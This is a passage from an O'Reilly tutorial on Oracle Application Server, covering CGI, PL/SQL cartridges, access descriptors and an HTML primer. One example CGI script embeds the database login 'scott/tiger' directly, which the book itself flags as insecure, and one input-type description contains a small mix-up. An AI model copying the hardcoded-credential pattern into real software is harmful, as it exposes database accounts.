As we saw in the previous chapter, the HTTP listener (renamed the Web listener in OAS) receives incoming requests either as URLs or as action attributes in an HTML form. If the virtual path maps to a CGI directory, the CGI interface is used. If it maps to a cartridge, the WRB method is used. Figure 4.1 shows the relationship between these components.

Figure 4.1: Overview of OAS components

In the next three sections, we'll look at how OAS handles requests for static files, CGI dynamic resources, and WRB dynamic resources.

4.1.1 Static Resources Mapped to a Virtual Directory

A static file is the simplest type of resource the OAS can deliver. A static resource is just a file that resides in a directory on the filesystem. To make the files accessible from the Web, OAS maintains a list of mappings between physical directories and symbolic aliases called virtual directories. A URL uses these aliases, along with the resource name, to retrieve the requested file. Figure 4.2 shows the virtual directory mapping screen for the OAS administration system.

Figure 4.2: Virtual directory mappings

4.1.2 Dynamic Resources Mapped to the CGI Gateway

The common gateway interface (CGI), the earliest web technology for developing dynamic resources, allows you to execute any kind of server-side program, whether it's written in a third-generation language like C, a scripting language like Perl, or a database language like PL/SQL. One of the advantages of CGI is that you can use it to do almost anything: create gateways between the Web and an email system, build a help system based on Unix's manpages, or execute scripting programs to play tic-tac-toe. The execution of a CGI program follows these steps:

  1. The web server spawns a new process under a separate user ID.

  2. The program is started in the new execution space.

  3. The program executes, sending its output to standard output. The listener sends this output back to the user's browser.

  4. The program terminates, and the process is destroyed.

There are a number of uses for even simple CGI programs. Suppose, for example, you have a table that holds user complaints about your systems. Here is a technique that saves you valuable web-surfing time, allowing you to purge old complaints by clicking on a hyperlink. The system requires two parts. The first is a SQL*Plus script called msg_maint.sql that clears the table. The length of time new messages are kept is passed as a command-line argument:

set feedback off;
delete from tbl_user_complaints where
   date_created < (sysdate - &1);
commit;

The second part is a script named clear_msg that executes the SQL*Plus script and returns a status. The operating system script is necessary because you cannot directly execute a SQL script without SQL*Plus:

#!/bin/ksh
#
# Print mandatory header info
#
print "Content-type: text/html\n\n"
print "<html>"
print "<title>All work and no play...</title>"
print "<body>"
print "<h1>Evaluating User Complaints</h1><p>"
#
# Execute sqlplus script msg_maint.sql
#
sqlplus scott/tiger @msg_maint.sql 2
#
# Print results
#
print "<h2>User Complaints Resolved</h2>"
print "</body>"
print "</html>"

The script is saved in a directory that is marked as containing CGI scripts and mapped to a virtual directory, typically named cgi-bin. Once these steps are completed, the user can execute the script with a URL. For example:

http://barney/cgi-bin/clear_msg

This extremely simplified example reveals some important limitations of the CGI interface:

CGI involves significant overhead

Before CGI programs can do any real work, the system must create and maintain processes, allocate resources, and perform a host of other housekeeping activities. Even worse, a CGI program must establish a new connection to the database every time it is executed. This severely affects performance, especially when a series of CGIs is linked together to form an entire application.

CGI programs can be very insecure

The previous example, which embeds a username and password directly into the script, is guaranteed to infuriate almost any DBA. Unless you have a set of library routines you can use in every program, securely connecting a program to the correct account is a thorny problem. In addition to username/password problems, many scripting languages have a complex and subtle syntax that makes it far too easy to unwittingly create insecure programs. A single misplaced character in a Perl program, for instance, can potentially compromise the entire system.

It is hard to process parameters passed to CGI programs

As we've seen, parameters are passed to a CGI program using either the query string of a URL or input elements on a form. Additionally, any non-alphanumeric characters (in a query string, at least) must be encoded before they can be safely transmitted across the Web. Once they arrive at their destination, it is up to the CGI program to manually read and decode all of them before they can be used.

In the next section, we'll look at how OAS's Web Request Broker architecture alleviates the problems of CGI by using cartridges.

4.1.3 Dynamic Resources Mapped to the Web Request Broker

The Web Request Broker (WRB) is another way that OAS can return a dynamic resource, and it is a significant advance over CGI. The WRB architecture maintains a pool of processes that are already running and connected to the appropriate database, and WRB is therefore much faster than CGI. When a request to run a particular program comes in, the OAS simply hands it off to one of these processes, which executes it and returns the results.

Each process handles a specific type of dynamic resource, whether it's created with Perl, PL/SQL, or Java, or even less traditional languages like VRML. OAS plug-in cartridges allow developers to use these different development languages. The WRB consists of the cartridges themselves, the executable engines that run the cartridges, and the dispatcher that selects a particular cartridge to execute a request.

4.1.3.1 Cartridges

OAS uses cartridges to execute, or cause to be executed, specific kinds of resources. When OAS receives a request for a resource, it simply passes it to the appropriate cartridge. Several cartridges come with OAS, including the PL/SQL cartridge for executing PL/SQL stored procedures, the Java cartridge for executing server-side Java programs, and the Perl cartridge for executing Perl scripts. However, cartridges are not limited to serving as gateways to development languages. The ODBC cartridge, for example, executes OBDC statements and returns the results directly to a user's browser.

Each cartridge is installed on the web server and mapped to a virtual alias. When the web listener receives a URL that includes one of these virtual mappings, it knows that it must use that cartridge to execute the specified resource. As always, the path section of the URL specifies the virtual mapping, and the resource name section specifies the resource the cartridge is to execute. These two sections must be consistent: the PL/SQL cartridge cannot execute a Java program. Figure 4.3 shows how virtual directory names are mapped to the PL/SQL cartridge in the WRB configuration screen.

Figure 4.3: Virtual directory mappings for the PL/SQL cartridge

The number of commercially available cartridges is growing every day. Additionally, because cartridges are based on an open interface, you can develop your own custom cartridges if you cannot buy one from a vendor. For example, you could write a cartridge to Web-enable a backend COBOL system.

4.1.3.2 WRB Executable Engines

When OAS initializes, it starts a number of WRB Executable Engines (WRBXs), processes that run particular cartridges. OAS starts a relatively large number of each kind of process (which ones depends on a configuration setting) to make sure that individual WRBXs don't become bottlenecks.

For example, the pool of WRBX processes might consist of 20 PL/SQL cartridges, 10 Java cartridges, and 5 Perl cartridges. This way, if one cartridge is busy when a request comes in, another WRBX is ready to handle it. This pool of running processes accounts for most of the performance gains of the WRB architecture over CGI. However, a cartridge does not make your dynamic resource itself run any faster. It simply minimizes the time it takes for the resource to begin executing.

4.1.3.3 WRB dispatcher

The WRB dispatcher is the final element in the WRB architecture. It has two jobs: the first is to receive incoming requests from the web listener and assign them to free processes in the WRBX pool; the second is to manage the WRBX pool.

Like a dispatcher at a police station, the WRB dispatcher assigns incoming tasks to specific agents from a pool of available agents. Its main goal is to fill as many of these requests as possible in the shortest amount of time by managing the various WRBX processes. To do this efficiently, the dispatcher must maintain a list of available agents, what they are currently doing, and when they will finish their assigned tasks.

Additionally, the dispatcher conserves system resources by maintaining a proper mix among the different processes. For example, the dispatcher can create new processes or destroy existing ones based on the number and types of requests received by the web listener.

Figure 4.4 shows the relationship between the parts of the WRB architecture. The diagram illustrates how the dispatcher passes a request to just one of the many available WRBX processes.

Figure 4.4: Overview of the WRB architecture

TIP: OAS has a tendency to lose track of some of these cartridges over time, resulting in dead processes. You can work around this problem by periodically stopping and restarting the listener process using a command like at (in NT or Unix) or cron (Unix).

Previous: 3.2 WebDB Architecture | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 4.2 Creating Dynamic Resources
3.2 WebDB Architecture | Book Index | 4.2 Creating Dynamic Resources
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.2 Creating Dynamic Resources

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

4.2 Creating Dynamic Resources

Now that we have a basic understanding of how the WRB uses cartridges to execute different kinds of resources, let's look at the PL/SQL cartridge in more detail.

The PL/SQL cartridge allows us to use PL/SQL procedures to create dynamic resources. As with the CGI interface, these resources are called with a URL. Unlike CGI, a PL/SQL cartridge maintains a persistent connection to a database, so it executes almost instantaneously. In addition to producing lightning-fast performance, the cartridge resolves the two thorny problems with the CGI interface: connection management and parameter passing.

Following our discussion of the advantage of this cartridge, we'll bring up a few security caveats to keep in mind when using cartridges.

4.2.1 Connection Management

WRBX processes connect to one particular account within a database upon initialization. The configuration for the connection is divided into two parts: the Database Access Descriptor and the PL/SQL agent.

4.2.1.1 Database Access Descriptor

A Database Access Descriptor (DAD) creates a unique alias for a database that is to be accessed over the Web. The DAD contains all the information needed to connect to the database, including the database name, its ORACLE_HOME directory, and its SQL*Net V2 service name. Figure 4.5 shows OAS's DAD configuration page.

Figure 4.5: Configuration screen for a DAD

4.2.1.2 PL/SQL agent

The PL/SQL agent is a unique alias for a database account owned by a particular DAD that makes the account's procedures and packages accessible over the Web. This includes procedures and packages owned directly by the account, as well as those owned by other accounts that have granted EXECUTE permission to the schema.

The agent consists of:

  • A unique name

  • Account login information, including:

    • The DAD name for the database that owns the account

    • The account name and password

  • Web-specific configuration information, including:

    • The URL for the error page that is displayed if the agent cannot execute a request

    • Authorized ports on which the agent accepts requests

Figure 4.6 shows OAS's agent configuration page.

Figure 4.6: Configuration screen for a PL/SQL agent

Figure 4.7 illustrates the relationship between a database, a DAD, and a PL/SQL agent.

Figure 4.7: The relationship between the DAD and PL/SQL agent

4.2.2 Parameter Passing

In addition to simplifying connection management, the PL/SQL agent also simplifies parameter passing by automatically associating each parameter with one of the procedure's formal parameters. As noted in the previous chapter, you can pass values in a query string of a hyperlink or as a named field in a form. In either case, the PL/SQL agent makes sure that these values are used to execute the PL/SQL procedure specified in the resource name section.

4.2.3 Security Issues with the PL/SQL Cartridge

For all its benefits, the PL/SQL cartridge can open a major security hole. When you create an agent for an account, every procedure in the account is fair game for web execution. For example, if you create a DAD and agent on your HR schema so that you can write a phone list, you are also exposing procedures like give_raise or fire_employee. Savvy (or downright evil!) users who understand how to execute these procedures can do so with impunity.

You can use database privileges to prevent this sort of abuse. The scheme is very similar to using database roles to limit access to privileged tables. Basically, you assign the DAD and PL/SQL agent to a minimally privileged account (maybe it only has CONNECT privilege). You then use a combination of the GRANT EXECUTE and CREATE SYNONYM commands to allow the schema to execute procedures owned by privileged accounts. Figure 4.8 illustrates how this works.

Figure 4.8: A minimally privileged PL/SQL agent

There are several advantages to this approach. First, it guarantees that the only code you have explicitly made available is accessible from a web browser. Second, the use of grants increases security because, as any DBA will tell you, the fewer publicly available privileges the better, especially if the schema contains sensitive information or is highly privileged. Finally, it reduces a lot of administrative overhead necessary to get an application up and running because you don't have dozens of agents to maintain.

To use the grant method, follow these steps:

  1. Log into the account that owns the application code you want to execute.

  2. Use the GRANT EXECUTE command to make the procedure or package available to the agent account.

  3. Log into the agent account.

  4. Create a synonym that points to the procedure in the other schema; the synonym does not have to have the same name as the original procedure or package.

  5. Use the synonym name in the URL to execute the procedure.

Previous: 4.1 How OAS Returns Web Resources | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 5. HTML
4.1 How OAS Returns Web Resources | Book Index | 5. HTML
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] HTML

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 4.2 Creating Dynamic Resources Chapter 5 Next: 5.2 A Whirlwind Tour

5. HTML

Contents:
Programming in HTML
A Whirlwind Tour

Now that we've discussed WebDB and OAS, we're ready to begin building applications. As you learned in Computer Science 101, user applications have a user interface, whether it's a simple command line, like the one in DOS or Unix, or a full windowing system, like Windows or X. In this chapter you'll learn how to use HTML (HyperText Markup Language) to create an interface that's somewhere in between these two extremes.

This chapter, while by no means comprehensive, provides enough of an introduction to HTML to get you started building useful systems. We'll begin with the basics of HTML programming, covering how to best start learning the language (if you don't know it already) and how to use its tag- and attribute-based syntax. We'll then take a whirlwind tour of HTML, examining most of the major tags you'll use every day. You can find a listing of more complete reference works in the appendix, Resources for the Oracle Web Developer.

5.1 Programming in HTML

Your company's human resources department may have its personnel policy on an internal web site. You can go to a main page and click on policies that cover various things HR types find important: dress codes, organization charts, inter-employee dating rules, and so on. Almost invariably, these documents have been converted from existing documents, such as Word or WordPerfect documents, using an editor like Microsoft FrontPage, Adobe PageMill, or Netscape Composer. While these tools are certainly useful, we must understand the actual HTML they generate before we can create a user interface for our web systems.

5.1.1 Learning the Language

The first thing you need to know about HTML is that you don't need a fancy editor to create an HTML document. HTML is a text file format, so you can use any editor you want to create a document. The second thing to know is that, unlike many other Internet standards, HTML is fairly simple. You can learn much of what you'll need to know about HTML in an afternoon.

The best way to learn HTML is to create a skeleton document in your favorite editor, save it to a file, and view the results with a browser. You don't even have to be on the Web to see your creation; almost all browsers can open a file directly from your system. Once you get bored tinkering with the basic tags, you can justify hours of web surfing as an educational expense by using the "View Source" option to see the underlying HTML code (but not the source code of the dynamic resource that created the document) for the pages you visit. Of course, like any other language, HTML has a syntax you must master before you can use it. This is subject of the next section.

5.1.2 Syntax

HTML consists of plain ASCII text that is marked up using special instructions called tags that define the document's structure and format. It's a very forgiving language: errors that in other languages would be devastating (like misspelling a reserved word) are usually ignored. It's not case sensitive, the instructions can appear in practically any order or combination, and most browsers are now smart enough to fill in anything you might mistakenly omit.

The tradeoff for this simplicity is that HTML doesn't give you absolute control over the placement of each element, which makes it significantly different from a tool like Oracle Reports or Oracle Forms. For instance, rather than specify the exact X and Y coordinates for an input box, you simply tell the browser that you want a text field. The browser decides the best location for the box, based on the rules you've specified. You will constantly face the temptation to mangle the HTML syntax to bend the browser to your will. You should resist this urge. Letting the browser do the grunt work is well worth losing absolute control of the GUI interface, and is actually one of the most liberating aspects of this type of design.

The basic building blocks of HTML, tags and attributes, are described in the following sections.

5.1.2.1 Tags

Tags are instructions that look a lot like the formatting controls of older, pre- WYSIWYG word processors. A tag is descriptive: for example, the <b> tag makes a section of text appear in bold, and the <big> tag increases the size of the text. In addition to simply controlling the appearance and format of text, tags can create structural elements such as tables or data entry forms, as well as hyperlinks that create links between documents.

Each tag has a complementary end tag that ends the action it is performing. For the tags just cited, </b> stops the text from appearing in bold, and </big> returns the text to normal size. In an HTML list, individual items are denoted by enclosing them between <li> and </li> tags. Some tags don't require a corresponding end tag. For example, the <p> tag, which is used to create a line break in a string of text, doesn't require a corresponding </p>.

Because one item ends where the next one begins, some browsers allow you to omit some end tags. For example, in Microsoft Internet Explorer, you can leave off the </li> tag; its presence is assumed by the <li> which starts the next item. In Netscape, on the other hand, you must explicitly include the </li> tag. This is one reason why it's always a good idea to test your systems on at least the two major browsers, and stick to HTML standards as much as possible.

Tags are often nested to create effects. For example, the nested tags in the HTML sequence <b><i>HTML</i> is great</b> cause the text to appear as "HTML< > is great". You can also nest tags to create more complex structures, such as an input form formatted using an HTML table, or a list of hyperlinks.

5.1.2.2 Attributes

Most tags have optional parameters, called attributes, that provide more information about how they are to function. The tag <font color=red size=3> has two attributes, color and size. Not surprisingly, in this example the color attribute makes the text red, and the size attribute makes it appear as size 3. Attributes can appear in any order, so <font size=3 color=red> has the same effect as the previous example.

Attributes usually begin with the name of the attribute, followed by an equal sign, and then the desired value. If the value is not a single word or number, it must be enclosed in double quotes. Sometimes an attribute does not have any values. For example, the <checkbox> tag, used to create a checkbox in an HTML form, has a checked attribute. This attribute, unlike the color attribute, for example, has no associated values. Including the checked attribute is all that is necessary for the box to show up on the form with a check in it.

An end tag never has attributes.

5.1.2.3 A sample document

Here is a typical HTML document your company's human resources department might want you to develop. It asks users to enter their names and select whether they would like a raise.

<html>
   <head>
      <title>HR Salary Survey</title>
   </head>
   <body>
      <h1>Salary Survey</h1>
      <hr>
      <form action=/hr_dcd/plsql/survey>
         1. What is your name?
            <input type=text name=employee_name value="Enter Name">
         <p>
         2. Do you want a raise?
            <input name=answer type=radio> Yes
            <input name=answer type=radio checked> No
         <p>
         <input type=submit>
      </form>
   </body>
</html>

The survey begins with the <html> tag, which announces that the document is in HTML format. HTML documents have two parts: a head and a body. The header section, which begins with the <head> tag, contains descriptive information about the document, sometimes referred to as metainformation. In this document, the only descriptive information in the head is the title (denoted with the <title> tag) that appears in the browser's titlebar.

The body section comes after the head. The first item in the body is an instruction to the user. The <h1> tag (heading level 1) increases the size of the message to make it more noticeable. The <p> tag starts a new paragraph on the page. The <p> tag is needed because browsers ignore extra whitespace and line breaks. All the text in a document appears as one long string unless you explicitly use tags to insert breaks where you want them.

The next set of tags creates an input form. The form has three items: a text box in which the user can enter his name, a Yes/No radio button to answer the question "Do you want a raise?" (conveniently defaulted to "No"), and a button to submit the form.

The information on the form is processed when the user presses the Submit button. Submitting the form invokes the PL/SQL procedure specified in the action attribute declared in the <form> tag. This program might insert the information into a table, write it to a file, or call the fire_employee procedure if a user fails to give a satisfactory answer to the survey.

Figure 5.1 shows how a browser displays the document.

Figure 5.1: An HTML salary survey

Previous: 4.2 Creating Dynamic Resources | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 5.2 A Whirlwind Tour
4.2 Creating Dynamic Resources | Book Index | 5.2 A Whirlwind Tour
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.2 A Whirlwind Tour

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

5.2 A Whirlwind Tour

Although somewhat artificial, it's useful to draw a distinction between text and content when talking about HTML documents. For example, in HTML, you can create a list of items. These items might be simple text, but they can also be HTML tags, such as hyperlinks.

The following sections present some common tags you will need to build the content of your user interfaces. They are listed here with their functions:

Structural tags

Delineate the part of an HTML document (head, body, comments) to which the content belongs.

Text formatting tags

Change the size and appearance of the text within a document.

Content flow tags

Delineate line and paragraph breaks within a document.

Anchor tags

Create links within a document to other documents on the Web.

List tags

Create a variety of useful formats for listing content more effectively.

Table tags

Break the normal vertical flow of a document to present content information in a grid of columns and rows.

Form tags

Create various types of input structures to facilitate user interaction with the site.

5.2.1 Structural Tags

All useful documents, whether large or small, have structures that organize the information they contain. For example, a book begins with a table of contents that provides an overview of the topics covered. These topics are divided into self-contained chapters, each with its own structure, including headings and subheadings. Finally, a book ends with an index that provides a much more granular view of the book's content.

An ASCII report has a simpler structure. Each page begins with a header, is followed by some sort of structured data, and ends with a footer. An HTML document, which falls somewhere between these extremes, has three major structural elements, described in the following list: head, body, and comment. The job of the structural tag is to bring order to the otherwise unruly world of HTML.

Head

Specifies general information about the document, such as its title, the default font size (basefont), and information about its contents. Unlike the Hydra of Greek mythology, each document can have only one head, which must come at the beginning. If a user prints out a web page that spans multiple printed pages (e.g., a table with a large number of rows), the head appears only on the first page.

Body

What the user sees when viewing your document with a browser. It includes all text, forms, and images that make up the document. You set all aspects of the document appearance in the body, such as background color and background image.

Comment

Allows HTML authors to include notes to themselves, such as the last revision date or document version; these comments are not displayed by the browser. Unlike their third-generation language (3GL) counterparts, HTML comments are not ignored completely, and often contain (somewhat ironically, given that these are comments) the source code for scripting language functions.

The following list gives the main structural tags:

<html>...</html>

Marks the beginning and end of an HTML document.

<head>...</head>

Defines the head section of a document.

<body>...</body>

Begins and ends the body of an HTML document; accepts the following attributes:

background = URL of background image
bgcolor = red, green, blue, etc.
<title>...</title>

Specifies the browser's titlebar.

<!-- ... --!>

Delineates a comment; information not displayed by the browser.

The following example is a skeleton HTML document that shows the structural tags in action. Note that each section is delimited by the corresponding start and end tags, including the <html> tags that enclose the entire document.

<html>
<head>
<title>You knew it was coming...</title>
</head>
<!--
This phrase is in every computer book on any subject.
--!>
<body bgcolor=blue>
   And here it is...Hello, World!
</body>
</html>

5.2.2 Text Formatting Tags

The text markup tags modify the appearance of the text in a document, between the start tag and the corresponding end tag. There is a wide variety of effects, ranging from the traditional to the bizarre and practically useless. Nesting the tags combines their effects; for example, you can create a bold, italicized word by nesting <b> and <i>. A list of text formatting tags follows:

<b>...</b>

Sets the text between the tags to bold.

<font>...</font>

Changes the font properties for the text between the start and end tags; accepts the following attributes:

size = 8, 10, 12 . . .
color = red, green, blue, etc.
<hn>...</hn>

Specifies font heading size n, which can range from 1 to 6, with <h1> the largest and <h6> the smallest.

<i>...</i>

Sets the text between the tags to italic.

<small>...</small>

Makes the intervening text smaller than the default font.

<sup>...</sup>

Superscripts the text; useful for creating footnotes.

<tt>...</tt>

T eletype; formats text using monospace font.

5.2.3 Content Flow Tags

HTML completely ignores whitespace and line breaks within a document. For example, the following document displays one line, even though the author obviously intends that each word appear on its own line:

<body bgcolor=white>
The
quick
brown
fox
</body>

The flow tags prevent a document from becoming one long, uninterrupted jumble of words. To fix the document above, the author would put a paragraph tag, <p>, at the end of each line. This is one of the few tags where the corresponding end tag is not required. The flow tags are summarized in the following list:

<br>

Break; creates a line break.

<center>...</center>

Center; centers the content between the tags.

<hr>

Horizontal rule; breaks content flow with a horizontal bar.

<p>

Paragraph; same as <br>, but with more space between the lines.

<pre>...</pre>

Preformatted; treat text as unformatted ASCII. The <pre> tag is most often used to force the browser to present the text exactly as written because it preserves whitespace and pagebreaks.

As mentioned earlier, the author of the previous example would have to include the <p> tag at the end of each line to create line breaks. The same effect can be achieved with the following line:

<p>The<p>quick<p>brown<p>fox

5.2.4 Anchor Tags

Anchor tags are used to create links within a document to other documents on the Web. When a user clicks an anchor tag, he or she is transported to the page specified in the underlying hyperlink. The anchor tag initially appears as blue, underlined text unless users have overridden its default appearance in their browsers' preferences. Following is a summary of the anchor tag:

<a>...</a>

Anchor; creates a hyperlink labeled with the text between the tags. This tag accepts the following attribute:

href = URL

5.2.5 List Tags

Almost any type of content, from plain text to hyperlinks, can be put into list format. A list begins with a tag that indicates if it is ordered or unordered, followed by a number of items enclosed between the list item tags. Though few in number, these tags can create a wide variety of useful formats. The following list summarizes the list tags and their common attributes:

<ul>...</ul>

Unordered list; all entries between the tags are bulleted.

type = disc, circle, square
<ol>...</ol>

Ordered list; all entries between the tags are lettered or numbered, depending on the settings of the type and start attributes:

type = 1, A, a, I, i
start = 1, 2, . . . , N
<li>...</li>

List item; this tag is always nested between either the <ul> tags or the <ol> tags. It puts each item in the list on a separate line.

The unordered list tag, <ul>, begins a list where the order of each item doesn't matter, such as a list of favorite web sites. Each element in the list is preceded by a specified bullet character. The bullet's shape is determined by the type attribute. Here's an example snippet of the HTML for an unordered list; the HTML code on the left produces the output on the right. Clicking on the underlined link will bring you to the URL:

<b>Cities in MA</b><p>
<ul>
   <li>
      <a href=www.boston.com>
         Boston
      </a>
   </li>
   <li>Cambridge</li>
   <li>Somerville</li>
</ul>

Cities in MA
· Boston
· Cambridge
· Somerville

The ordered list tag, <ol>, creates lists in which each item is preceded by one in a sequence of numbers or letters indicating its position in the list. A series of instructions, a "to do" list, and a top ten list are all ordered lists. The <ol> tag has two attributes to control the appearance of the sequence indicator. The value of the type attribute sets the type of sequence. The value "A" begins the sequence "A, B, C, . . .," while "a" begins "a, b, c, . . . ." "I" or "i" starts a list of Roman numerals based on the case of the value. Not specifying a value for type, or setting it to "1", will begin a numeric sequence. The start attribute sets the initial value of the sequence. Here's an example of an ordered list; the HTML code on the left produces the output on the right:

<b><i>SEC</i> Football Teams</b>
<p>
<ol>
   <!-- The end tag is implied --!>
   <li>Alabama Crimson Tide
   <li>Tennesse Volunteers
   <li>Auburn Tigers
</ol>

SEC Football Teams
1. Alabama Crimson Tide
2. Tennessee Volunteers
3. Auburn Tigers

The next example uses nesting to create a standard outline by creating a list within the <li> and </li> tags; the HTML code on the left produces the output on the right:

<ol>
<li>Introduction<li>
   <ol type=a>
      <li>CGI
      <li>HTML
      <li>PL/SQL
   </ol>
<li>OAS</li>
</ol>

1. Introduction
a. CGI
b. HTML
c. PL/SQL
2. OAS

5.2.6 Table Tags

We can use an HTML table to break the normally vertical flow of a document into a grid of columns and rows. The cell at the intersection of the column and row can contain any type of content, including text, lists, forms, and even other tables. You can create almost any layout by breaking a complex document into smaller, simpler pieces that you place within the cell of a table. Following is a list of the four main table tags and some of their most commonly used attributes:

<table>...</table>

Begins and ends an HTML table.

align = right, left, center
bgcolor = red, green, blue, etc.
border = 1, 2, . . .
width = 10%, 20%, . . .
<tr>...</tr>

Creates a new row; used between <table> and </table>.

align = right, left, center
bgcolor = red, green, blue, etc.
<th>...</th> and <td>...</td>

Create a header cell (<th>) or data cell (<td>); used between <tr> and </tr>.

align = right, left, center
bgcolor = red, green, blue, etc.
colspan = 1, 2, 3, . . .
rowspan = 1, 2, 3, . . .
width = 10%, 20%, . . .

A table begins with the <table> tag, which always breaks the flow of the document by inserting a new line. If the border attribute is used, then the cells in the table are enclosed within a grid. The table stops at the </table> tag. The <tr> begins a new row within the table, so a table with a row for each state in the United States has 50 <tr> tags. The <th> and <td> tags divide each row into columns (cells): <th> indicates header cells and <td> indicates data cells. While any number of these tags can appear within a row, the total number of columns in the table is always equal to the maximum number of columns within any row.

A number of attributes are shared hierarchically by the table, row, and cell tags. The align attribute sets the text alignment for all the cells, and bgcolor sets their background color. The width attribute specifies the element's horizontal width as a percentage of the total width. For example, when used in the <table> tag, a width of 100% makes the table use the full width of the screen. The colspan and rowspan attributes, which are used only in the cell tags, allow you to create cells that span multiple columns. For example, you could use the line <th colspan=5>Here's some data</th> to put a heading row on a table with five columns.

Here is a simple table with five columns and four rows:

<title>Sales Data</title>
<center>
<table border=1 width=70%>
   <th colspan=6 align=center>Sales Data</th>
   <tr>
      <!-- Column Headers --!>
      <th>Office</th>
      <th>Q1</th>
      <th>Q2</th>
      <th>Q3</th>
      <th>Q4</th>
   <tr align=right>
      <!-- Row for the Boston office --!>
      <th><a href=/offices/boston.html>Boston</a></th>
      <td>1000</td>
      <td>1500</td>
      <td>1750</td>
      <td>1800</td>
   <tr align=right>
      <!-- Row for the New York office --!>
      <th><a href=/offices/nyc.html>New York</a></th>
      <td>2900</td>
      <td>2000</td>
      <td>2300</td>
      <td>2475</td>
</table>
</center>

The first row uses the <th> tag to create headers for each of the five columns. The next two rows contain sales data by office, and have an identical structure. The first column, created using the <tr> tag, creates a hyperlinked row header. The <td> tag is then used to format the quarterly information by office into cells. Figure 5.2 shows how a browser displays the page.

Figure 5.2: A simple table

5.2.7 Form Tags

Up to this point, we've looked at the output side of our HTML to format text, create lists of items, and put other HTML elements into tables. Now we're ready to use HTML form tags to create documents that can be used to put information into a database.

A form encompasses a set of tags, exactly like those we've been using, that create various types of input widgets that are displayed by the browser. These tags can be text boxes, radio buttons, and checkboxes that accept input from users. Once users have filled out the form, they submit it to the server for processing. A backend program, which in this book will be a PL/SQL routine, parses their input and performs some type of processing.

When building HTML form applications, it's important to remember there is absolutely no communication with the database until the form is submitted. HTML forms are no replacement for traditional tools like Oracle Forms, and you should not treat them as such.[1] However, their portability and simplicity offer compelling advantages in many circumstances.

[1] This is because HTTP is a stateless protocol. Chapter 7, The PL/SQL Toolkit, and Chapter 8, Developing Applications, will suggest some ways to mitigate this problem.

With HTML forms, as long as end users have a browser, they can enter data into your application without having any special configuration or software. Additionally, all the processing for your input form occurs at the server, allowing you to consolidate the business rules of your application into one place. Best of all, because these forms reside on a central server, any update you make is instantly distributed to all your users, eliminating the need for client-side upgrades or new installs. The form tags are displayed in the following list with their associated attributes, followed by a more detailed discussion of their properties. At the end of this section, I will offer some advice on how to improve the layout of a form or any other HTML document.

<form>...</form>

Begins and ends a form.

action = URL of PL/SQL procedure to execute
method = GET, POST
<input>

Creates an input element based on the type attribute. This tag has other attributes that are not listed here because they only apply for certain types.

name = name of element
type = text, password, checkbox, radio, submit, hidden
<select>...</select>

Creates a drop-down list.

name = name of element
size = number of visible items
<option>...</option>

Creates an item in a <select> list; the string in the selected item's value field is passed as the parameter when the form is submitted.

value = string
<textarea>...</textarea>

Creates a free-form text entry box.

name = name of element
cols = number of columns (characters in a line)
rows = number of rows (number of lines)

5.2.7.1 The < form> tag

The most important parameter in the <form> tag is the action attribute, which specifies the program that will execute on the server when the form is submitted. In our case, this program is a PL/SQL procedure whose arguments correspond in name and number to each named input element in the form. When the user presses the Submit button, the values in the form are passed as parameters to the procedure, which then processes the user's input.

The method attribute determines how those values are passed. If GET is used, the names and encoded values of each element are appended and sent as one long string that is parsed and decoded at the server. Because the entire length of the string must be under 256 characters for some operating systems, this method should be used only for simple forms, but it is useful when you want to allow the user to include the values entered into a form as part of a bookmark. The POST method, on the other hand, is not limited in character length, but it does not allow for the bookmarking feature. Each element is processed individually by the server. In either case, OAS parses the parameters and passes them to the procedure.

5.2.7.2 The <input> tag

Form input elements are created with the <input> tag. The name attribute links the element to a parameter in the procedure specified by the <form> tag's action attribute. When the form is submitted, the value of the element is passed as the value of its corresponding parameter.

The type attribute determines what kind of input element appears on the screen. The following list displays the attributes for the <input> tag:

type=text

Single-line text input box.

maxlength = maximum number of characters that can be entered
size = character width of the field: 5, 8, 15, . . .
value = string (default value for the field)
type=hidden

Placeholder for a value; while it does not show up on the screen, it is passed as a parameter when the form is submitted. Hidden fields are often used to help pass information between multiple forms in a web application. Maxlength, size, and value are the same as type=text, but characters are masked using an asterisk.

type=checkbox

Checkbox for on/off values; the string in the value field is passed as the parameter value when the form is submitted.

value = string
checked
type=radio

Radio button; radio buttons with the same name form a single group in which the user can select one value. The string in the selected item's value field is passed as the parameter when the form is submitted.

value = string
checked
type=submit

Submit button; for named buttons, the string in the value field is passed as the parameter when the form is submitted.

name = action to take when the form is submitted
value = string (appears as the button's label)

The next example shows an HTML form with an input box, a set of a radio buttons, a checkbox, and a Submit button that, when pressed, executes a PL/SQL procedure called update_employee. This procedure has three parameters: emp_name, emp_office, and kissup_flag:

<html>
<head><title>Employee Info</title></head>
<body>
<form action=/hr/plsql/update_employee>
   Employee Name:
      <input type=text name=emp_name size=20 maxlength=10>
   <p>
   Office:
      <input type=radio name=emp_office checked value=BOS>Boston
      <input type=radio name=emp_office value=NYC>New York
      <input type=radio name=emp_office value=CHI>Chicago
   <p>
      <input type=checkbox name=kissup_flag value="Yes">
         Loves Job?
   <p>
      <input type=submit>
</form>
</body>
</html>

